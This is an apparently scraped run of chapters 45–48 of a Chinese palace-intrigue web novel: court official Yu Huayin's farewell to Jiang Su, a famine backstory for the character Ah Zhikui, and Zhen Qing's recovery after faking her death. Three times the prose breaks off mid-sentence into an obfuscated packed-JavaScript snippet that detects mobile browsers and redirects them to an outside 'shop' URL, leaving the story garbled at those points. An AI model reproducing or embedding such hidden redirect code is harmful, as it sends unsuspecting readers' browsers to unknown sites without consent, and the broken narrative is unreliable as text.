卷柏提着灯笼跨出门槛,抬眼便看到了站在不远处的郁华隐。今日的郁华隐与往日所见不同,她身穿绿色圆领窄袖袍衫,外边披着浅色棉袄,提着不明不暗的纸灯笼站在不远处,苍白脆弱的小脸埋在棉袄内,显得整个人更为清瘦,好似生了一场重病。 郁华隐朝江诉走去,在离他们一丈远的位置停步,她并没有先把视线留在江诉身上,反倒先是看向卷柏,示以微笑。 那抹微笑并没有什么特有的含义,仅仅只是同卷柏点头招呼,甚至在眉眼弯弯处看出来几许和善的意味。即使这样,卷柏还是极有眼见力,知道他们两人有话说,自己朝马车方向走去,没有半点犹豫。 郁华隐被任命为司马的事情,早就在朝堂内炸开了锅,掀起来一阵不小的闲言碎语。不过在这里看到郁华隐,江诉说不意外是假的,倘若真的觉得特别意外,却也不至于。 “太后殿下为难你了。”江诉伸手拿过她的灯笼,“你来是想说廉州一事?” 人人都说江诉待人温和有礼,是个十足十的好人,如果止步于表面,郁华隐也会这么认为,只不过也仅仅止步于表面。 虽然郁华隐拿着灯笼的手被冻得僵硬,却也没有让江诉拿到自己手中的灯笼,她轻缓地避开,随后微微一笑道: “江长史话只说对了一半,我还想说陇右。陇右和廉州不同,廉州是穷乡僻壤之地,做官的盛气凌人,衙役庸俗粗野,只要有点能力的人,断不会在那个地方待得长久。而陇右不同,那里的人各个都有脾气,虽说不服管教,但你若真有本事,自然也能驯服。陇右可以比拟为天空中的雄鹰、草原上的烈马,而廉州则是一片难以清理的沼泽,稍有不慎就会让自己陷入泥潭,即使出来了,也是满身淤泥。” 这样的话听着颇像不满,郁华隐本意并非如此,她搁置下灯笼,朝后退一步,弯腰拱手道:“倘若日后我做了大逆不道的事,还望江长史能保全我的家人。” 江诉深思道:“我在陇右,郁御史在长安,我如何能保全?” 郁华隐道:“只要太后殿下首肯,一切都有回旋的余地。” 江诉垂眸,并没有言语。 郁华隐身形单薄,站在冷风中,恰似摇摇欲坠,却又坚韧不屈,像是一株顽强的野草。她和枕清很像,但仅仅只是像。 江诉笑容淡了些,他疏离道:“看来郁司马也认同那些流言。” 语气肯定,没有任何疑问。 郁华隐心中微动,她并非是认同江诉和太后殿下真如外界传言那般有私情,只是她能看出来,太后殿下是真的喜欢江诉。这种喜欢或许有敬佩仰慕之意,但也有夹杂着些许不同的意思,郁华隐不敢深加揣测。 不过当下,应当是触及到了江诉的逆鳞。 郁华隐虽心下焦灼,面上不急不躁道:“并非如此,我会找上江长史,还因为一人。” 江诉的声音轻而慢:“嗯?” 郁华隐用食指摩梭衣角的边缘,破釜沉舟般道:“是沿溪。” 江诉漫不经心地注视郁华隐的一举一动,突然弯起唇,笑着道:“郁司马这是何意?倘若本官没记错的话,‘沿溪’二字,可是县主的小字。县主刺杀禹王,犯了滔天大罪,本官万不敢同县主以及有关党羽牵扯到任何关系,郁司马所求之事,本官无能为力。” 自称我变为本官,是个人都能听出江诉有想撇清、施压之意。那日禹王府内的及笄礼,在枕清刺杀禹王后,也没有人看到江诉的身影。 发生这种事,人人对枕清避之不及,即使有深情厚谊,也得好好衡量考虑,又怎敢闷头往上撞? 即使禹王不追究,即使云大将军也惋惜过,但他们都是响当当的大人物,自然和她这样的人有所不同。 天下熙熙,皆为利来;天下攘攘,皆为利往。[1] 郁华隐低声道:“我还以为江长史对县主有几分不惧的情谊,原是我想错了。” “只有活着才能叫情谊,死人哪有什么情谊可言。”江诉从她身旁经过,“郁司马是聪明人,倘若你真的担忧,那就让二老累迁陇右,郁司马和郁御史一定知道该如何做。” 江诉这样的人届时一定能在陇右站稳脚跟,而她只需要控制住裴凌云,不过到那时,太后殿下一定会对他们有所忌惮。 枕清说可以相信江诉,却没人告诉她,江诉是一个这般难以捉摸的人。她不知道是她的哪句话让江诉改变了想法,不过有他这句话,郁华隐担忧家中长者的心绪也落到了实处。 坊间有传言,说江诉如同天上的月亮,令人望而止步;也有传言他像是温柔的水,对谁都好言好语相待。不过究竟是孤傲皎洁的月亮,还是波光潋滟的水泽,谁也不知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665337|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁华隐看向江诉准备好的马车,正好迎面撞上朝他们这处看来的卷柏,卷柏脸不红心不跳地哼着歌,看看天看看地,俨然没有一种被抓包的无措感。 这个人...... 郁华隐收回视线,问道:“江长史今日就上路了?” 江诉答道:“早些前去,总是叫人安心些。” “江长史就没有什么要问我的吗?比如裴凌云,再比如陆佑善,又或者是沿溪?”郁华隐深呼一口气道,“她可是曾问过我,你的事情。” 江诉平静道:“没有。” 郁华隐道:“那好,此次前去,那便祝江长史一路顺风。” 风轻轻吹拂过飘渺的云雾,深色天际翻起了一小片白辉,屋檐上的白雪坠上淡色光芒,隐约有消融的迹象。 远处的城楼响起了厚重而响亮的钟声、鼓声。 晨钟暮鼓,声声入耳。 城门大开,万户活动。 郁华隐见江诉走上马车,车子被碾压出三行印记,越行越远,直至消失不见。 她胸腔微微作痛,忽而吐出一大口污血,灯笼也溅起了三分血,郁华隐抹开唇角的血渍,强撑着身子,转头去了百草堂。 百草堂里面有一位堂主重金聘请的老者,年过古稀,专治疑难杂症,坊间甚至有传言说这位老者制作出一种包治百病的药方,更是千金难求。 郁华隐前去时,百草堂并没有想象中的人满为患,过来看病的人似乎都已轻车熟路。郁华隐等了一会,便到了自己,她伸出手腕给大夫查看,大夫瞧了瞧眼前的郁华隐,随后问了几句,便开了单子。 开完这个单子,郁华隐看到几味熟悉的药材,也有几味从未见过的,她正想回头问那位老者,却发现老者已经离开了,那脚步甚至极为匆忙,好似去通风报信。 郁华隐早知道这百草堂背后之人不简单,她又吃了太后殿下的毒药,或许这老者察觉到了什么。郁华隐当即选择跟在那位老者身后,只见老者来到了一处错综复杂的偏院内,院内铺满了石子,旁边两处种着她从未见过的草药。 她继续往前走,行过一处空地,空地摆放整整齐齐的竹架,竹架上方垂挂着多条上等染色的丝织品,颜色各异。 耳畔突然传来几缕诡异的丝竹声,丝织品随着风吹过她的发梢、肩头、后背。 郁华隐走在层层叠叠的纱帐后,于朦胧纱帐中看到了一抹熟悉的身影。 她还没在惊愕中回神,暗藏的危险和杀意扑面而来,她的肩头忽地一沉,一柄快剑抵在她的侧颈,当即便能了结她。她强作镇定地顺着剑刃望向执剑人,执剑人远比那抹熟悉的身影更让她震惊。 郁华隐瞳孔震颤,忽地下跪,她卑谦垂首道:“王爷,下官......” 禹王并不想让任何人知晓此地位置,更不允许别人知道这里的事情。禹王的剑刃正要碰上郁华隐的脖颈,一了百了地解决此人时,有一道沙哑急促的声音阻止他。 “阿耶,不要!” 46. 身世非比昔人前(五) 马车内的卷柏百无聊赖地用手撑着脑袋,她还是没忘记郁华隐方才的眼神,那眼神分明是认出了她是跟在陆佑善身边的人。 不过现如今被发现,卷柏也没什么好怕的,迟早是要被人知道的,不过她还有一处不明白。 为什么郁华隐她会跟江诉说这样的事情,很多事情又不是江诉所能管的,以为拉出枕清就能什么东西都能解决吗? 不过看样子,这件事还真是奏效了。 卷柏隔得远,有几句话并没有真的听清楚。 马车行驶到了郊外,还与一个叫牧青的人会合。 短暂地相处下来,卷柏发现牧青这个人似乎特别相信江诉,而且跟江诉关系非常要好,自身又是个十足十的练家子,遇到蛮横无理的人,无论对方人数是多还是少,都能巧妙到险胜那一步。 卷柏还曾有意无意地打探过牧青,只在他口中得到只言片语,拼拼凑凑竟也让卷柏猜测到了几分。 江诉曾和牧青一起杀过匪寇。 行到关口,他们一行人坐在一间小馆内。 牧青高喊一声博士,博士便提着酒壶匆匆上来,给他们几人倒上一壶清酒。碗内灌满热酒,在冷冽的天气中,当即腾升起了飘渺的雾气,待雾气散尽,酒水颜色逐渐清醇翠绿。 又指了指一边的卷柏道:“给她来一碗酸奶酪。”[1] 他们漫不经意地品茗,旁边传来旁人的窃窃私语。 “你说这小县主到底死了没?” “满堂的人都看到小县主被暗卫万箭穿心,哪能有假?自然是死了!” 碗中清酒微微悬浮,江诉轻叩杯沿后,倏地打了个旋儿,犹如飘落下来的花朵。 冬日寒梅零落,阿之奎伸手接过飞来的半朵梅花,他看着花瓣的纹路,好像回到了很多年前。 那是永临三年,那时也是如此寒冷的冬日,银州已经闹了三月饥荒,村子里没有任何活着的气息,人都被饿死了大半,有人啃起了树皮,有人吃上了泥巴,甚至还有人闹起了人相食的惨烈状况。 服饰珍玩,贱如土芥。 朝廷的赈灾粮食因为大雪封路,硬生生堵了两个月,即将要送到村子里的时候,却被贪官贪了去。 贪官眼见着人都要死光了,何不私吞了这笔粮食。 不过此举太过显眼招恨,更有不少人饿疯了,开始围堵在贪官那里,但此行也无济于事。 再后来那位贪官被山匪斩杀,山匪拿到赈灾粮食后,发现朝廷给的粮食是一袋又一袋的泥巴,不知道在什么时候被人换掉了,又或者是朝廷本就没有想出赈灾的粮食,根本没有想救银州于水火。 让原本燃起希望的心渐渐沉寂。 阿之奎虽身处银州的小村庄内,但也在这段时间内看多了残忍恶心的画面,眼界和德行在这一幕幕中被重塑,心中痛苦交织泛滥,早就没有活下去的心,可是他又实在害怕那些人会吃了他。 他太想体面地死去,所以不得不逼自己活着。 他还记得第一次见到江诉,在江诉震惊和恐慌的目光中,才让他有了活下去的勇气。 江诉第一次来这个世界的运气实在不算好,招致他在很长的一段时间里都在恨这个世界,久久不能释怀。 他睁开眼看到这个世界的第一瞬间,便看到了一双如同野兽般虎视眈眈、丧心病狂到让人发颤骨碌碌的眼睛。 那样的眼神,江诉从未在任何人身上看到过,可他当下就反应过来,那个人正在挖他的肉吃。 他身上没有任何一块完整的好皮肉,本就让还未反应过来状况的他,更为沉默和惊恐,在不熟悉的世界中,不想活下去的心像野草般蔓延疯长。 可在下一瞬间,阿之奎拿起粗粝的石头,狠狠地砸在那人头上,飙出来温热的血花溅满了江诉的脸颊,江诉这才感知到自己身上的血液在流淌,逐渐地,才感知自己现在还是个人。 那是阿之奎第一次杀人,他拿着石头的手不停颤抖,茫然又无措地看着江诉,好像这样才能察觉自己还活着,才能警醒自己这样并不是错误的。 他厌恶那些人的眼神,更厌恶为了活下去,人相食的惨状。 这样根本不是人的天性! 他厌恶、痛恨,可他发觉身边这样的眼神越来越多,自己的坚持简直就像是个怪人,甚至还有人将主意打到了他的身上,他恶心。 直到江诉跟他露出同样的模样,他才能确保自己这样是对的,起码这个世界上还有一个人是和他一样的。所以他拿起石头砸死了那个人,把自己这几月的情绪一股脑地宣泄出来,只是手却不可抑制地发抖。 阿之奎忘记自己是怎么从尸山血海里爬出来,他只记得是江诉拖着残破的身体,一步步把他背了出来,其中有不少人死死盯着他们,也有人攻击他们,可是最后,只有他们两在那个鬼地方爬了出来。 江诉的话很少,背着他出来的时候,硬是一声没吭。 犹记得他们两人一同离开银州,随意找一个地方驻扎,都已精疲力竭。 江诉知道他们两人再这么下去,都会死在这里,于是在本就残破不堪瘦骨嶙峋、疤痕累累的手腕上又割出了一刀伤口,喂了血给阿之奎喝。 血很腥,却能活。 阿之奎不知道自己为什么离开村子,求生欲变得极强,当江诉这般做的时候,他并没有阻止,而是可怜巴巴地喊了一声又一声:“阿兄、阿兄......” 而这一声声的叫唤变成了一道咒术,明明是一具油尽灯枯的身子,居然一直没有停止给阿之奎喂血。 江诉的脸色失去了血色,最终倒在了一处空旷干枯的草地上,竟然是昏死过去。 老天爷似乎也看不下去了,让干旱了大半年的银州,下了一场倾盆大雨,雨珠跳动在他们身旁的每个角落,阿之奎看到此情此景,倏地大笑,连忙用手接了一捧又一捧的雨水渡到江诉的唇边。 那晚的他们既狼狈又幸运。 就这样,他们凭着感觉一路北上,遇到了山中猛兽、毒虫蛇蚁,还有山匪强盗,也有好心贵人,无论怎样,一路相互扶持的人都是彼此。 阿之奎觉得江诉很好,好像就是自己的亲阿兄,对他百依百顺,使得他无比依赖江诉。 直到有一天,他们来到一个郡县,在旁人的口中才得知,银州人因为饥荒太过惨烈,所剩之人寥寥无几,甚至好几个村子的人都死光了。 自然也有阿之奎和江诉所待的村子。 他们不可能同外人说自己从逃荒中走到了这里,也只是静静地听着客人们讲起这些事,有种恍惚隔世的错觉,仿若自己是个局外人。 据他们说朝廷从未下过什么赈灾粮,一切都是安抚民心的虚假把戏,现如今国库空虚,哪有什么钱和粮食赈灾到银州。银州虽然损失惨重,但起码保住了长安以及周边的几个郡县,根基并未被动摇。 阿之奎听到这话,简直怒火中烧,胸腔震颤起伏,朝江诉又怒又委屈道:“他们长安城里的人是人,难道我们就不是人了吗?阿兄,你说我们就不是人了吗?” 江诉淡淡道:“这是朝廷的选择,我们没办法改变。” 也就是这样,阿之奎才逐渐发觉,江诉对任何事情都表现得十分冷静,每一次他为银州报不平时,江诉也只是静静地看着他暴怒的模样,事后还要同他说冷静点、你应该冷静点。 可是死的人是他的家人,是他最亲的人! 他们的命像是被高位者把玩的戏码。 阿之奎实在不明白,总是会问江诉:“阿兄,你的亲人死了,你就不怨吗?” 江诉总会沉默,随后反问:“人死不能复生,怨能如何?恨又能如何?” 阿之奎咬牙切齿道:“我要记住这恨,我以后要把他们通通杀光!” “杀光?”江诉平静道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿之奎讥讽道:“她怎么可能会这么蠢笨,明目张胆地去行凶?她这是一叶障目,要的就是你如你所说的这般成效,要在所有人面前确保她真的死了,才能在日后把自己和禹王府摘除的干干净净。” 部下心思没有阿之奎想的深,听到阿之奎如此解释,便也深深低下脑袋,阿之奎则是看出部下的不自然,摆了摆手道:“你退下吧。” 他可真是恨枕清啊,为什么他身边的人都会围着她转,齐离弦如此,江诉也如此。 天空又飘起了淅淅沥沥的雪粒子,阿之奎踏过满地的梅花,抬头看向灰沉的上空,他走向空旷的地面,拿起早已让人备好的纸,俯下身一点点烧干净。 有些人看到这样的场面,不禁讶异,悄悄同旁边的人说:“王子这是干什么呢?为什么非要在银州停留三日?” “不知道,王子的心思谁知道呢?不过我听说这个地方恐怖得厉害,据说在多年前闹过一次饥荒,饿殍遍野,甚至还发生了多起吃人的事情,虽然我也不知道真假,但是银州原本是富饶之地,不过这么多年,依旧没有恢复过来......” 两人交谈的声音越来越小。 阿之奎每来一次银州,心中的痛恶便增加一分。这么多年,恨意已经变成了他的执念,不仅没有消散,甚至变得更为浓厚。 所以在枕清说何不放弃安南的身份同齐离弦远走高飞,他却说不可能。 倘若他没有家破人亡,没有深仇大恨,那么他就是一只不带血的大雁,或许真的可以和齐离弦远走高飞,可惜他心有执念,而这执念深不见底。 江诉也早知他放不下,没有说出任何一句话来阻止他。 那么...... 天高云淡远,从此雁南飞。 47. 身世非比昔人前(六) 天空下起了稀薄的雪粒子,天色介于白芒和昏暗之间,好像没有第三种颜色。 偏僻安静的院子,瓦片倾覆上一层又一层的白雪。 那道急促生硬的女声打断了寂静。 “阿耶!不要杀她!” 如果有人看到,那便会发现这个人是在旁人口中早已死去的小县主——枕清 禹王垂眸看着郁华隐,自然对这个人有所印象,还是在不久前被太后任命为司马。 不过朝堂之事,近来这些他并不多加参与,现在他还只是个在家养病的王爷。 寒风乍起,方才不见的那位老者忽然出现,他看着这几人轻松笑笑,装傻般道:“你们这是在做什么?” “为何要把她引到此地?”禹王收起剑刃,迫视郁华隐。 “因为她中了和枕清一样的毒。”老者摇摇头道,“老朽说错了,不是毒,而是蛊。” 禹王问:“你的蛊从何而来?” 郁华隐还没在方才的情形中回过身来,早已晕头转向,在禹王问话的这一刻,她略显呆滞,顺着心如实道:“是太后殿下!” 眼见老者要出声猜疑,禹王反驳道:“沿溪的蛊毒绝不可能出自她的手,她们二人从未有过交集。” 老者的话被哽在喉咙内,他没有出声,而是看向满身是伤,仅仅吊着一口气的枕清,颔首道:“我又没说是太后下的,不过当务之急就是要解蛊,她这副身体承受不了试药,只能这位小郎君先试一试了,就是不知道小郎君是否愿意?” 愿不愿意又岂是她说的算? 无论她愿不愿意,都是要走这么一遭的。郁华隐不想受太后殿下桎梏,她在禹王下令前先说出口来:“既然老先生愿意为我解蛊,我自然敢以身试险,况且沿溪还是我的好友,我乐意之至。” 禹王轻轻抚摸剑柄,面容突然变得温和,他笑着看向郁华隐,道:“你若真的不愿,我们也不会强人所难,你不用看在我的面上说你愿意。” 经过方才那一遭,郁华隐看禹王的模样,怎么看都觉得是笑面虎。倘若她不答应禹王,只怕是不能活着离不开这个地方。 郁华隐垂首道:“我愿意的,下官心甘情愿。” “那好,那你就留在这里。”禹王下令,转身走近枕清那处。 枕清也是在及笄礼那日发现了自己身上被下了蛊毒。 可她并没有察觉到身边有任何可疑的迹象,既不会是义宁,也没发现到旁人的动作。 如果只是说蛊,她唯一能想到的人只有阿之奎。 毕竟安南擅蛊术。 可是她并没有吃过阿之奎所给的任何东西,思来想去的那几次交集,并没有可疑之处,倘若真的要找一处,那便是她去过一次阿之奎的院子。 不对。 她还吃过江诉喂给她的药,那药是疫病的解药,她吃完后并没有任何不适,而且疫病也的的确确好透了,况且江诉不会害她。 但是江诉那解药是从何而来? 或许就是从阿之奎那里拿来的,就连他自己也不知道那药有问题。 枕清觉得十分有可能,估计是在她身上吃瘪的次数多了,也就起了这样的心思。 枕清思及此,突然笑了,她记得有一次,阿之奎来找她,恰好彼时的江诉也过来了,他便着急忙慌地躲在屏风后的角落里。 那时的她端起了一副姿态,甚至装模做样地在江诉面前提起了阿之奎,江诉则是不动声色地继续授课,最后枕清问他:“你当真和阿之奎毫无关系?” 江诉冷漠回道:“我和他从未有过任何关系。” 枕清抬手掩唇,忽地放声大笑,神情却不自觉地望向角落里的阿之奎,只有阿之奎知道枕清的目光内含着多少讽刺和挑衅。 阿之奎的脸色铁青,明明知道枕清是故意的,可他还是没能克制下来,最后气得跳窗走了。 江诉则是早发现了阿之奎的存在,知道人走后,才开口问向笑意未消的枕清,温和道:“满意了吗?他就是个孩子心性,你招惹他做什么?” “满意!满意极了!”枕清抚掌道,“他在你面前是孩子气,但你可不知道他在外面有多威风,而且这世界上又有几人能算计得过他?我看不爽他,我就要招惹他,让他难过!” “他不会为我难过的。” “可是他会因为你的不在意而生气。” 江诉站起身道:“他不会的。” 枕清无奈耸肩,既没有认同江诉的话,也没不认同,反倒十分豁达道:“我管他会不会,反正我的目的达到了。” ...... 一切随风静止。 经过漫长的冬日,老者终于研制出了蛊毒的解药,可是枕清的身子骨实在羸弱,整个冬日都在阵痛中醒来又睡去。 再次完全的好起来,便是快入夏的时候。 郁华隐在初春的时候便去了廉州,前去的时候和枕清说了很多话,自然也有关上一世的,不过枕清的确没有精力去分析,只跟郁华隐说在必要时候,用必要手段。 郁华隐好似听进去了,又像是不完全了解,最后在沉默中颔首。 禹王依旧常常来看枕清。 及笄礼那日,枕清便已经和禹王商量好,他出手刺杀了禹王,让自己自此失去枕清这个名字,也失去小县主这层身份。 这是原本就打算好的,不过她的身体却出现了意外,招致很多事情便停在了这里。 至于为什么会和禹王合作。 她又不是个傻子,她知道谁对她好,谁对她不好。前段时间她想明白了许多,她也不认识枕家的任何一个人,对于她而言,枕家是陌生的存在,在她的记忆里,至亲之人,只有禹王和师傅。 枕清也曾问过禹王是否真的想要杀过她,又或者对她下毒,禹王说没有,她便信了。 如果禹王真的想要她死,她早就死了千百遍。 当然她也问了有关枕家的所有事情,禹王告诉她枕家这件事是现任陇右大都督的爷娘全权安排,其中的详细内情他了解的并不多,先皇派了大都督前去,也安排了他一同前往,仅此而已。 看似带路的人是他,这件事,他也是个听命行事的人。 枕清并非不信,可是禹王所说的并无差错,那时候的禹王也只是新出茅庐的小子,让禹王前去本就没有信服力,况且枕家在当地屈指一数的存在,怕出差错的,怕镇压不住,于是派有强硬手段的人前去。 所以枕清想要查清楚,必须要去陇右,看看那位大都督。 长安入夏后,天气逐渐炎热,枕清身上的病养了许久,总算是好了许多,只是面容比先前更为消瘦,整个人似脱骨,又像是长开了。 枕清待在这座小院子许久,冬去春来,都不曾踏出过房门一步,可当真要出去的时候,竟然还有点怯生生的意外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665339|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老者看到枕清的动作,嘲笑道:“在屋内待得久了,就不会走路了?你还要跟她们瞒多久?应小娘子可是在你的及笄礼过后,再也没来过长安了,这两间药肆也不管了!” 这位老者,枕清在很久之前便见过,是在鬼市里,给柳长鸣制作解药的那人。 枕清认识他很多年,也是废了九牛二虎之力才把人请到百草堂这里。 她缓缓踏出门去,同老者道:“现在还不是时候,只有这样,才能显得我的死更真一些。况且,人总要向前看的,不能因为一个人的死去,而止步不前。” 她还有一句话不敢说,在那样的情况下,她内外皆受损,切切实实卡在鬼门关口,如果没他们几人拼命救回来的话,那么她是真的死了。 枕清感受到温热的阳光打在自己身上,她忽地抬头看向金灿灿的太阳,这外面的日子真是叫人陌生,枕清垂首,看向自己的乌黑的发梢,原来已经长得这般长了。 虽然这半年内没有踏出屋子,但也听到了很多消息。 据说盛松言来到了长城内,参加了科举考试,在大殿上夺得魁首,继江诉之后,是第二位比探花郎还要好看的状元郎。 不过这位状元郎和江诉走的不同,江诉夺得状元郎的名头,便是一直留在长安,而盛松言一心都往长安外去。 听人言,盛松言来长安是因为一位小女郎,可这小女郎在这盛状元来之前就已经离开长安了,所以这位盛状元又想跟着那位小女郎而去。 也有人说这些都是骗人的话,这盛状元长着就不是一张女娘们喜欢多情脸,自然会编排一些故事解解乏。 枕清听到这些话,心中已有了大概猜测。 一切都和上一世有所不同。 郁华隐提早去了廉州,而盛松言也提早来了长安,甚至代替了郁华隐夺取了状元郎的位置。 应钰离开了长安城,那么,什么都想起来的盛松言会不会又去扬州? 枕清坐在茶馆内,听着宾客们一言一语。 忽地有人说:“宫中来信了!据说这个新状元真要去扬州做知府了!前任扬州知府贪污犯法、欺压民女,已经被扣押了!这扬州知府可算是踢到了铁板,你们可知道他这欺压的是那位民女?” 这谁知道啊?都是刚得知消息的人。 众人不禁嗤了一声,指指点点道:“你也别跟我们大伙打马虎眼了,赶紧说吧!” 那人哈哈一笑,高声朝满堂会客道:“这位民女来历可大,她曾和禹王府内的小县主情如姐妹!是长安城内第一大的女商!我们所熟知的镖局、粮铺、百货阁、百草堂等,都是她底下的生意!甚至还有人说过,倘若没有这位应小娘子,这长安城内的生意要少一半!可见是响当当地厉害!” 有人震惊赞叹道:“竟然这么厉害!不过我听说这应小娘子许是因为小县主刺杀禹王一事,便一直都不回这长安城内。” “可能觉得伤心吧,现如今谁还敢提那小县主的好啊。” 众人左一言右一语,枕清盖好自己的帷帽,在桌上留下了茶水钱,又踏出门去。 她的身子骨还没有完全好全,才出来一会,便已经受不住了。 她还是没忘记方才那般话,盛松言想要去扬州做知府,恰好扬州知府就落了马,很难不让人怀疑这是盛松眼的手笔。 不过应钰如此彰显形迹要拖扬州知府下马,又意欲何为? 48. 身世非比昔人前(七) 夏日的暑热未完全消散,枕清走在长街上,身旁经过来来往往的过路客,她并没有去留意,直到有个人脚步匆匆,即将要撞上了她。 枕清往旁边走去,那人也跟着她动作而动,枕清当下明白这个脚步的主人是故意的。 若不是身体虚弱,枕清还是能躲开的。 不过因为身形太过疲惫,便也只能瞧着那人生生地撞了上来。 枕清突然受力,与这人一同倒地,头上的帷帽垂纱因摔倒而被翻开,露出半张侧颜。 那人并没有关注身下的枕清,余光一直瞥向外边搜寻的小厮,最后待人走后,才松下一口气,当即和枕清道歉道:“多有得罪。” 枕清并没有在他的语气内听到愧疚,她略微垂下脑袋,伸出一只手扶住帽帷,淡淡避开这人别有深意的目光,并没有想与这个人多说的意思。 那男子注意到枕清一直扶住帽沿的手。 这只手不仅细长,肌肤倒也白皙,这种白并不像天生丽质那般细腻,更像是很久很久没有晒过太阳,因此在阳光下,被照得发光,也没有任何血色,是一个病了很久的人。 大概是位病美人。 从方才那句话中,以及模糊的轮廓里,枕清已经认出这人是谁了。 有过几面之缘的郡王李酌赋。 李酌赋突然出声诶了一声,见枕清并没有停留的意思,他当即走前跟在枕清的身侧,突然凑近问道:“小娘子身上好香,可是用了什么熏香?” 枕清没想到这个人这般难缠。 刚才撞上她,枕清并不是没有帮他挡下那群人。 她并不想身份被发现,于是摇了摇了脑袋,加快步子往前走,不料李酌赋更是难缠,他慢悠悠跟在枕清身后,像个阴魂不散的怨鬼,甚至还打趣她道:“原来是个哑巴娘子,让就让我猜猜?这花香,是海棠吧!” 枕清面无表情地朝他的方向睨了一眼,这个季节哪里来的什么海棠花? 什么季节开什么花都不知道。 枕清也知道自己这样也甩不掉这人,于是放缓步子,权当自己看不到这人。 没想到她这动作适得其反,李酌赋抓住了她的手腕骨,将她拉近,靠近自己的胸膛道:“适才我没有看清你的样貌,你走得这般快,是怕我吃了吗?还是说你有什么见不得人的秘密?” 枕清眼眸倏地一暗,她想要挣脱李酌赋的桎梏,力气却小,并没有挣脱开来,于是就这么僵持不下。 “难不成你真是个哑巴?”李酌赋微微抬眸,伸手就要拨开枕清的帷帽垂纱。 微风微微吹动发梢和纱面,千钧一发之际,枕清特意压制嗓子,发出雌雄莫辨的声音:“我竟没有想到小郎君有喜欢看男人的癖好?” “你是男人?”李酌赋发出疑惑,可他并不相信。 李酌赋的手依旧搭在枕清的帽沿上,发出讥讽的笑意,既像是哄又似骗般道:“你可千万不要诓骗我,如果让我发现你所说的是假的,我真的会欺负喜欢撒谎的小娘子,特别是漂亮爱撒谎的小娘子。” 枕清冷静避开他抵在帽檐下方的手,认真道:“我何故要骗小郎君?倘若我真的长得美若天仙,定不会天天戴着这副帷帽遮面,我带着这个东西,自然是因为我相貌丑陋,见不得人,郎君看上一眼,今夜必定,不,是今后的日日夜夜,都难以入眠。” 李酌赋听完后,抚掌笑道:“这么厉害?那我更要瞧瞧了,我要看看你长得是何模样,还能让我日日夜夜睡不着?” 夕阳西下,高楼的城门外开始击鼓,表示城门关闭,即将宵禁。 枕清站在夕阳内,和身前的李酌赋僵持着,眼见这个局面破解不开,枕清也断了旁的念想,或许让李酌赋看上一眼也未必不行。 见过她的人少之又少,除了太学的那群人,便也没多少人看过她的真颜。况且她现如今都已经瘦得脱相,少了少女般的稚气,风韵也大不如前,可以说是换了一个人。 大不了,到时候再叫阿耶寻个理由把他打发出了长安。 李酌赋恰似知道枕清已经放弃了挣扎,于是站在一边抱胸等待枕清的动作。 枕清正想要掀开帷帽,突然有一道声音出现,那人信步而来,朝李酌赋拱手道:“当下快要宵禁了,郡王何故在此?” 那人眼睛微微一斜,留意到枕清被李酌赋桎梏在一旁,仿若身陷囹圄。 他若有所思垂眸,后笑着打趣说:“原来是有美人作伴,看来我的不巧了,打扰二位雅兴了。不过郡王不去红花楼里陪着张娘子,而在这里寻欢作乐堵着旁的小娘子,张娘子若是知道,怕是要生气了。” “上不得台面的人,生气便生气了。”李酌赋漫不经心道,“盛状元这些日子风头无两,竟也能记得起寡人,甚至连寡人在红花楼里点的哪位小娘子都记得,果真是面面俱到啊。” 这话说得讥讽。 好听点就是面面俱到,难听点可不就是把他里里外外都查了个干净吗? 这样的人果真是要叫人留意小心。 盛松言微笑道:“郡王谬赞。” 枕清并不想参与他们争锋相对的一言一语,悄悄地想要离开时,李酌赋眼疾手快地抓住她的帷帽,当即掀落在地。 帷帽声钲然落地。 冷风漫卷,冷意逐渐从脚底蔓延至全身。 如瀑布倾泻下来的青丝盖住半边容貌,只显露三分容貌,便也能叫人依稀看清是一个皮肤白皙透亮,容貌绮丽的漂亮女郎。 枕清并没有他们所想的那般惊慌失措,反倒是比任何时候都更为平静。 盛松言看到枕清的模样,先一步反应过来,当即站在枕清身前,挡住了想看得更加清楚的李酌赋。 李酌赋脑海轰隆一声,一副果然如此的模样,他在官场和情场浪荡多载,自然能知道这女娘有古怪,只是没想到这小娘子古怪地漂亮,他还还沉浸在枕清的美貌与欺骗中,却被盛松言挡住了视线。 “好啊!好啊,当真是个既漂亮又说谎的女娘啊!”李酌赋冷笑一声,怒视盛松言,“你给寡人让开!” 枕清自然听出李酌赋的盛怒,她并没有傻愣站在原地,而是走前几步拿起自己的帷帽,镇定地戴在自己头上。 她能确定李酌赋没有认出自己,如果真的认出来并不会是这般表现。至于盛松言,她并不在意和担忧,她本就和盛松言没见过几次,更别说如此素净的时候。 方才悬着的心随即放下。 既然有盛松言为她挡着李酌赋,枕清头也不回的离开了这个地方,甚至在走远的时候还听见了李酌赋怒骂的声响。 